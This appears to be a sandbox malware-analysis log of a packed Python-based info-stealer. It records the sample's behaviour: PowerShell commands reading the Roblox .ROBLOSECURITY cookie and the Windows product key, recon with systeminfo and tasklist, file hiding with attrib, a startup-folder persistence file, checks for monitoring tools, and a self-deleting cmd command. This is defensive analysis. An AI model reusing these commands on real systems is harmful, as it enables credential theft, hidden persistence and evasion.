Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: KpHYfxnJs6.exe

Static file information: File size 9081534 > 1048576

Source: KpHYfxnJs6.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x2bac00

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2905394504.000000006F911000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\python311.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2898642505.000000006C626000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.pdb source: powershell.exe, 00000046.00000002.2707327914.0000000004ACA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: KpHYfxnJs6.exe, 00000004.00000002.2897142653.000000006C0A3000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdbOO source: KpHYfxnJs6.exe, 00000004.00000002.2903601786.000000006F8DB000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_bz2.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2903162092.000000006F8A1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2896773038.000000006BEE2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdbAA source: KpHYfxnJs6.exe, 00000004.00000002.2896773038.000000006BEE2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\select.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2901778919.000000006F851000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_ssl.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2901169725.000000006F821000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_ctypes.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2904571313.000000006F8F1000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_hashlib.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2900426461.000000006F811000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2903601786.000000006F8DB000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_queue.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2900045891.000000006F801000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2895977031.000000006BE70000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:09:02 2022 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not available source: KpHYfxnJs6.exe, 00000004.00000002.2897142653.000000006C0A3000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_socket.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2902247843.000000006F861000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\sqlite3.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000006D.00000000.2746843353.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmp, rar.exe, 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_sqlite3.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2902609939.000000006F881000.00000040.00000001.01000000.0000000C.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name: .themida
Source: KpHYfxnJs6.exe	Static PE information: section name: .boot
Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075ACD27 push eax; retf	4_3_075ACD2D
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_075AF599 pushfd ; ret	4_3_075AF59C

Source: KpHYfxnJs6.exe

Static PE information: section name: entropy: 7.970952206496813

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73202\unicodedata.pyd	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr

Jump to behavior

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe""
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe""			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
